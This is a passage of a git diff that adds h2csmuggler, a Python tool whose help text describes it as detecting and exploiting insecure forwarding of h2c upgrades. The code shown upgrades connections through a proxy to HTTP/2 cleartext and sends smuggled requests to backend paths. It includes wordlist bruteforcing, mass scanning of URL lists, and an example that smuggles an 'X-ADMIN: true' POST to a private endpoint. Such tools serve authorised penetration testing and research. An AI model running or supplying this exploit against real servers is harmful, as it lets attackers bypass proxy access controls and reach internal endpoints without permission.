print("[INFO] Failed to upgrade: " + proxy_url.geturl()) + return None, False + + return rest, True + + +def getData(h2_connection, sock): + events = [] + try: + while True: + newdata = sock.recv(8192) + events += h2_connection.receive_data(newdata) + if len(events) > 0 and isinstance(events[-1], StreamEnded): + raise socket.timeout() + except socket.timeout: + pass + + return events + + +def sendData(h2_connection, connection, data, stream_id): + """ + From: https://github.com/python-hyper/hyper-h2/blob/master/examples/twisted/post_request.py + """ + # Firstly, check what the flow control window is for stream 1. + window_size = h2_connection.local_flow_control_window(stream_id=stream_id) + + # Next, check what the maximum frame size is. + max_frame_size = h2_connection.max_outbound_frame_size + + file_size = len(data) + # We will send no more than the window size or the remaining file size + # of data in this call, whichever is smaller. + bytes_to_send = min(window_size, file_size) + + # We now need to send a number of data frames. + idx = 0 + while bytes_to_send > 0: + chunk_size = min(bytes_to_send, max_frame_size) + data_chunk = data[idx:(idx + chunk_size)] + h2_connection.send_data(stream_id=stream_id, data=data_chunk) + + idx += chunk_size + bytes_to_send -= chunk_size + file_size -= chunk_size + + # We've prepared a whole chunk of data to send. If the file is fully + # sent, we also want to end the stream: we're done here. + if file_size == 0: + h2_connection.end_stream(stream_id=stream_id) + else: + # We've still got data left to send but the window is closed. Save + # a Deferred that will call us when the window gets opened. + print("[ERROR] Window closed. Incomplete data transmission.", + file=sys.stderr) + + connection.write(h2_connection.data_to_send()) + + +def sendSmuggledRequest(h2_connection, connection, + smuggled_request_headers, args): + + stream_id = h2_connection.get_next_available_stream_id() + + # Custom Step 2: Send new request on new stream id + h2_connection.send_headers(stream_id, + smuggled_request_headers, + end_stream=args.data is None) + # Custom Step 3: Immediately send the pending HTTP/2 data. + connection.sendall(h2_connection.data_to_send()) + + if args.data: + sendData(h2_connection, + connection, + args.data.encode("UTF-8"), + stream_id) + + # Custom Step 4: Receive data and process + events = getData(h2_connection, connection) + handle_events(events, args.verbose) + + +def main(args): + """ + The client upgrade flow. + """ + if not args.proxy.startswith("http"): + print("[ERROR]: invalid protocol: " + args.proxy, file=sys.stderr) + sys.exit(1) + + proxy_url = urlparse(args.proxy) + + # Step 1: Establish the TCP connecton. + connection = establish_tcp_connection(proxy_url) + + # Step 2: Create H2 Connection object, put it in upgrade mode, and get the + # value of the HTTP2-Settings header we want to use. + h2_connection = h2.connection.H2Connection() + settings_header_value = h2_connection.initiate_upgrade_connection() + + # Step 3: Send the initial HTTP/1.1 request with the upgrade fields. + send_initial_request(connection, proxy_url, settings_header_value) + + # Step 4: Read the HTTP/1.1 response, look for 101 response. + extra_data, success = get_upgrade_response(connection, proxy_url) + + if not success: + sys.exit(1) + + print("[INFO] h2c stream established successfully.") + if args.test: + print("[INFO] Success! " + args.proxy + " can be used for tunneling") + sys.exit(0) + + # Step 5: Immediately send the pending HTTP/2 data. + connection.sendall(h2_connection.data_to_send()) + + # Step 6: Feed the body data to the connection. + events = h2_connection.receive_data(extra_data) + + # Step 7 Receive data and process + events = getData(h2_connection, connection) + + connection.sendall(h2_connection.data_to_send()) + + handle_events(events, args.verbose) + + # Craft request headers and grab next available stream id + if args.wordlist: + with open(args.wordlist) as fd: + urls = [urlparse(urljoin(args.url, url.strip())) + for url in fd.readlines()] + else: + urls = [urlparse(args.url)] + + for url in urls: + path = url.path or "/" + query = url.query + + if query: + path = path + "?" + query + + smuggled_request_headers = [ + (':method', args.request), + (':authority', url.hostname), + (':scheme', url.scheme), + (':path', path), + ] + + # Add user-defined headers + if args.header: + for header in args.header: + smuggled_request_headers.append(tuple(header.split(": "))) + + # Send request + print("[INFO] Requesting - " + path) + sendSmuggledRequest(h2_connection, + connection, + smuggled_request_headers, + args) + + # Terminate connection + h2_connection.close_connection() + connection.sendall(h2_connection.data_to_send()) + connection.shutdown(socket.SHUT_RDWR) + connection.close() + + +def scan(line): + connection = None + try: + proxy_url = urlparse(line) + if not line.startswith("http"): + print("[ERROR]: skipping invalid protocol: " + line) + return + + connection = establish_tcp_connection(proxy_url) + + h2_connection = h2.connection.H2Connection() + settings_header_value = h2_connection.initiate_upgrade_connection() + + send_initial_request(connection, proxy_url, + settings_header_value) + _, success = get_upgrade_response(connection, proxy_url) + if not success: + return + + print("[INFO] Success! " + line + " can be used for tunneling") + sys.stdout.flush() + except Exception as e: + print("[ERROR] " + e.__str__() + ": " + line, file=sys.stderr) + sys.stderr.flush() + finally: + if connection: + connection.shutdown(socket.SHUT_RDWR) + connection.close() + + +def init(): + global MAX_TIMEOUT, UPGRADE_ONLY + + if sys.version_info < (3, 0): + sys.stdout.write("Sorry, requires Python 3.x, not Python 2.x\n") + sys.exit(1) + + parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + description="Detect and exploit insecure forwarding of h2c upgrades.", + epilog="Example Usage:\n" + + sys.argv[0] + " --scan-list urls.txt --threads 5\n" + + sys.argv[0] + " -x https://edgeserver http://localhost\n" + + sys.argv[0] + " -x https://edgeserver -XPOST -d " + "'{\"data\":1}' -H \"Content-Type: application/json\"" + "-H \"X-ADMIN: true\" http://backend/private/endpoint" + ) + parser.add_argument("--scan-list", + help="list of URLs for scanning") + parser.add_argument("--threads", + type=int, + default=5, + help="# of threads (for use with --scan-list)") + parser.add_argument("--upgrade-only", + default=False, + action="store_true", + help="drop HTTP2-Settings from outgoing " + "Connection header") + parser.add_argument("-x", "--proxy", + help="proxy server to try to bypass") + parser.add_argument("-i", "--wordlist", + help="list of paths to bruteforce") + parser.add_argument("-X", "--request", + default="GET", + help="smuggled verb") + parser.add_argument("-d", "--data", + help="smuggled data") + parser.add_argument("-H", "--header", + action="append", + help="smuggled headers") + parser.add_argument("-m", "--max-time", + type=float, + default=10, + help="socket timeout in seconds " + "(type: float; default 10)") + parser.add_argument("-t", "--test", + help="test a single proxy server", + action="store_true") + parser.add_argument("-v", "--verbose", + action="store_true") + parser.add_argument("url", nargs="?") + args = parser.parse_args() + + MAX_TIMEOUT = args.max_time + UPGRADE_ONLY = args.upgrade_only + + if args.scan_list: + lines = [] + with open(args.scan_list) as fd: + lines = [line.strip() for line in fd.readlines()] + + p = mp.Pool(args.threads) + p.map(scan, lines) + p.close() + p.join() + sys.exit(1) + + if not args.proxy: + print("Please provide a server for tunneling ('-x') flag ", + file=sys.stderr) + sys.exit(1) + + if not args.test and not args.url: + print("Please specify the '-t' flag or provide smuggled URL") + sys.exit(1) + + if args.url and not urlparse(args.url).scheme: + print("Please specify scheme (e.g., http[s]://) for: " + args.url) + sys.exit(1) + + if not urlparse(args.proxy).scheme: + print("Please specify scheme (e.g., http[s]://) for: " + args.proxy) + sys.exit(1) + + main(args) + + +if __name__ == "__main__": + init() diff --git a/tools/h2csmuggler/media/diagram.png b/tools/h2csmuggler/media/diagram.png new file mode 100644 index 000000000..a6f2df0af Binary files /dev/null and b/tools/h2csmuggler/media/diagram.png differ diff --git a/tools/h2csmuggler/media/fail.png b/tools/h2csmuggler/media/fail.png new file mode 100644 index 000000000..74e42579d Binary files /dev/null and b/tools/h2csmuggler/media/fail.png differ diff --git a/tools/h2csmuggler/media/success.png b/tools/h2csmuggler/media/success.png new file mode 100644 index 000000000..9dadf94db Binary files /dev/null and b/tools/h2csmuggler/media/success.png differ diff --git a/tools/h2csmuggler/media/test.png b/tools/h2csmuggler/media/test.png new file mode 100644 index 000000000..3d5e37f5c Binary files /dev/null and b/tools/h2csmuggler/media/test.png differ